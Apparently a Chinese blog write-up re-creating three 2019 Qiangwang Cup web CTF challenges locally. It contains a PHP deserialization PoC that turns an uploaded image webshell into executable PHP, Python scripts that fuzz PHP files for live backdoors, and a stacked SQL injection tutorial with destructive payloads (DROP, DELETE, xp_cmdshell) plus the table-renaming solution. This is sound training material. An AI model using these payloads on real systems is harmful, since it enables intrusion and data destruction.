强网杯upload&&高明的黑客&&随便注 复现

UPLOAD

知识点:代码审计,PHP 反序列化
复现环境:https://github.com/CTFTraining/qwb_2019_upload
步骤就简略了(因为看过WP再来复现的,主要是如何解决和方法):
1.打开靶机页面,注册账号,密码,上传一个图片马

上传上去了,但是很明显,这是无法利用的
2.dirseachr发现了源码(比赛的时候,发现了源码和cookie序列化的问题,但是还是接触的少,根本不以为然。还真是序列化的问题哎)
审计一波上传文件的代码


3.Profile.php 中还有两个魔术方法

__get和__call,前者是调用不可调用的成员变量时该怎么做,后者是调用不可调用的方法时该怎么做
我们可以利用反序列化和魔术方法来控制upload_img方法,从而任意更改文件名

目的:我们需要通过析构函数来调用upload_img()函数来把后缀名改成.php
原理分析:先调用析构函数然后通过两个_get和__call魔术方法来实现调用upload_img()函数。
过程:通过构造一个Register的类,然后反序列化会调用析构函数,使成员变量registed为0,然后往下执行,调用checker成员变量在调用index()方法,这里可以想到将checker赋值为Profile实例化对象,
然后调用index()方法,便会自动执行__call魔术方法

public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

首先会调用$index()成员变量,但是Profile中没有,呢么就会执行__get魔术方法

public function __get($name)
    {
        return $this->except[$name];
    }

这时候我们可以会返回一个except['index'],呢么将Profile的成员变量except赋值为以index为数组键,upload_img()为数组键值的数组($except=['index'=>'upload_img'])
如此,$this->{$name}即为upload_img。因此__call方法中,if判断中就会返回$this->upload_img() =>成功调用upload_img()函数
进入upload_Img()函数,赋值Profile中的成员变量Checker为0,直接绕过判断,并且赋值ext为1,则执行如下步骤:

if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

这时候把成员变量$filename_tmp赋值为我们刚刚上传的图片马的路径,而覆盖的文件名字$filename赋值为以php结尾的文件,使其以php脚本形式解释

3.最终poc利用脚本

<?php
namespace app\web\controller;
class Profile
{
    public $checker=0;
    public $filename_tmp="../public/upload/a9c8a444cd2aa8597fedab5b34fb7365/f3ccdd27d2000e3f9255a7e3e2c48800.png";
    public $filename="../public/upload/a9c8a444cd2aa8597fedab5b34fb7365/yunying.php";
    public $ext=1;
    public $except=array('index'=>'upload_img');

}
class Register
{
    public $checker;
    public $registed=0;
}

$a=new Register();
$a->checker=new Profile();
echo base64_encode(serialize($a));

在index.php页面修改cookie

利用成功,一句话木马连接

但是为什么没有/flag呢。。搞了好多次,以为都有问题,为什么没有/flag

这里有个坑,docker-compose.yml里配置ports是127.0.0.1:8302:80
因为在虚拟机里docker的,用curl试试了下,只能在装docker的机上访问到,但是我的centos只有命令行,orz。所以修改成8302:80,把127.0.0.1去掉后,就可以访问了。DOCKER万岁
upload

高明的黑客

之前已经下好了源码,但是一脸懵逼,这个该怎么找到可利用的后门呢,一个一个尝试吗?python编写这个又不会,TM的打CTF像hyt,连cxk都不如
题目复现源码地址:https://github.com/CTFTraining/qwb_2019_smarthacker/tree/09891831edee593b3c61374768dce3664f9317f4
学习了一波Glzjin的php内置服务器的知识
php -S loaclhost:port -t 自定义目录

这道题目就是让我们找到可用的后门,在许多的php中,有很多虚假的后门,都是置空或者根本无法构成代码的。因此我们需要可以写个py脚本来不断的获取php中的get或者post参数,来不听fuzz,尝试输出某些东西.

Glzjin大佬的py3脚本

import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor

import requests

session = requests.Session()

path = "/Users/jinzhao/PhpstormProjects/qwb/web2/"  # 文件夹目录
files = os.listdir(path)  # 得到文件夹下的所有文件名称

mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)

def read_file(file):
    f = open(path + "/" + file);  # 打开文件
    iter_f = iter(f);  # 创建迭代器
    str = ""
    for line in iter_f:  # 遍历文件,一行行遍历,读取文本
        str = str + line

    # 获取一个页面内所有参数
    start = 0
    params = {}
    while str.find("$_GET['", start) != -1:
        pos2 = str.find("']", str.find("$_GET['", start) + 1)
        var = str[str.find("$_GET['", start) + 7: pos2]
        start = pos2 + 1

        params[var] = 'echo("glzjin");'

        # print(var)

    start = 0
    data = {}
    while str.find("$_POST['", start) != -1:
        pos2 = str.find("']", str.find("$_POST['", start) + 1)
        var = str[str.find("$_POST['", start) + 8: pos2]
        start = pos2 + 1

        data[var] = 'echo("glzjin");'

        # print(var)

    # eval test
    r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # assert test
    for i in params:
        params[i] = params[i][:-1]

    for i in data:
        data[i] = data[i][:-1]

    r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # system test
    for i in params:
        params[i] = 'echo glzjin'

    for i in data:
        data[i] = 'echo glzjin'

    r = session.post('http://localhost:11180/web2/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # print("====================")

for file in files:  # 遍历文件夹
    if not os.path.isdir(file):  # 判断是否是文件夹,不是文件夹才打开
        # read_file(file)

        pool.submit(read_file, file)

飘零大佬的py2脚本

import requests
from multiprocessing import Pool

base_url = "http://localhost:8888/src/"
base_dir = "/Desktop/site/src/"
file_list = ['zzt4yxY_RMa.php',........ 'm_tgKOIy5uj.php', 'aEFo52YSPrp.php', 'Hk3aCSWcQZK.php', 'RXoiLRYSOKE.php']

def extracts(f):
    gets = []
    with open(base_dir + f, 'r') as f:
        lines = f.readlines()
        lines = [i.strip() for i in lines]
        for line in lines:

            if line.find("$_GET['") > 0:
                start_pos = line.find("$_GET['") + len("$_GET['")
                end_pos = line.find("'", start_pos)                
                gets.append(line[start_pos:end_pos])

    return gets

def exp(start,end):
	for i in range(start,end):
		filename = file_list[i]
		gets = extracts(filename)
		print "try: %s"%filename 
		for get in gets:
			now_url = "%s%s?%s=%s"%(base_url,filename,get,'echo "sky cool";')
			r = requests.get(now_url)
			if 'sky cool' in r.content:
				print now_url
				break
	print "%s~%s not found!"%(start,end)


def main():
    pool = Pool(processes=15)    # set the processes max number 3
    for i in range(0,len(file_list),len(file_list)/15):
        pool.apply_async(exp,(i,i+len(file_list)/15,))
    pool.close()
    pool.join()

 
if __name__ == "__main__":
    main()

直接用飘零师傅的来试一下,果然是大佬。

随便注

知识点:堆查询注入
Stacked injection--堆叠注入--堆查询注入
原文地址;http://www.sqlinjection.net/stacked-queries/ 本篇属于集合原作者的思路和个人想法结合的一篇产物。Stacked injection 汉语翻译过来后,国内有的称为堆查询注入,也有称之为堆叠注入。个人认为称之为堆叠注入更为准确。堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据和调用存储过程的目的。这种技术在SQL注入中还是比较频繁的。

原理介绍

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

0x02 堆叠注入的局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

Ps:此图是从原文中截取过来的,因为我个人的测试环境是php+mysql,是可以执行的,此处对于mysql/php存在质疑。但个人估计原文作者可能与我的版本的不同的原因。虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

0x03 各个数据库实例介绍
本节我们从常用数据库角度出发,介绍几个类型的数据库的相关用法。数据库的基本操作,增删查改。以下列出数据库相关堆叠注入的基本操作。

一. Mysql
(1)新建一个表 select * from users where id=1;create table test like users;

执行成功,我们再去看一下是否新建成功表。

2. 删除上面新建的test表select * from users where id=1;drop table test;


3. 查询数据select * from users where id=1;select 1,2,3;

加载文件 select * from users where id=1;select load_file('c:/tmpupbbn.php');

4. 修改数据select * from users where id=1;insert into users(id,username,password)
values('100','new','new');

二. Sql server

  1. 增加数据表select * from test;create table sc3(ss CHAR(8));

  2. 删除数据表select * from test;drop table sc3;

(3)查询数据select 1,2,3;select * from test;

  1. 修改数据select * from test;update test set name='test' where id=3;

  2. sqlserver中最为重要的存储过程的执行
    select * from test where id=1;exec master..xp_cmdshell 'ipconfig'

三. Oracle
上面的介绍中我们已经提及,oracle不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错。无效字符。后面的就不往下继续尝试了。

四. Postgresql

  1. 新建一个表 select * from user_test;create table user_data(id DATE);

可以看到user_data表已经建好。

  1. 删除上面新建的user_data表select * from user_test;delete from user_data;

  2. 查询数据select * from user_test;select 1,2,3;

  3. 修改数据 select * from user_test;update user_test set name='modify' where name='张三';

开始复现

本来去buuctf里,有这道题目的,但是貌似题目出问题了.所以我还是去用docker复现了。

docker复现地址:https://github.com/CTFTraining/qwb_2019_supersqli/tree/0787e6a8273a78a8b237b08c034851f47cf20d6c

测试的过程中,出现了waf的正则,过滤了select,update,delete,drop,insert,where
我用-1' union s//e//lect 1,'2来尝试绕过,emmm,WTF

看WP,说这样莫非就是堆叠注入。。经验太少,人家靠经验就比你强了一截
堆叠注入,上面知识点已经罗列了,就是;分割了上一句命令,一行可以执行多条命令。
payload:1';show database;

查询到数据库。堆叠注入就是相当于不断的查数据库找flag呗。。。

payload:1’;use supersqli;show tables;

看到有个数字的,看看表内结构

payload:1';use supersqli;show columns from 1919810931114514;
咋啥都没有回显?????????????。。问了Glzjin大佬。。数字表名规定``引用
payload:1';show columns from 1919810931114514;

在测试下另一个表,words表
payload:1';show columns from words;

这个是我们默认查询的表

看了WP,发现既然不能select查询,只能利用那个默认的查询。那查询的也是wors表中的东西,该怎么利用呢
这里用到了alter(一直写成alert)和rename,将words表更名为words1,把数字表改名为words,把其中的flag字段改为id字段,这样查询的其实就是数字表中的flag字段


实验成功

payload:1';rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100) character set utf8 collate utf8_general_ci not null;
payload:1'or'1

大师傅太强了

posted @ 2019-09-20 11:21  yunying  阅读(1287)  评论(0编辑  收藏  举报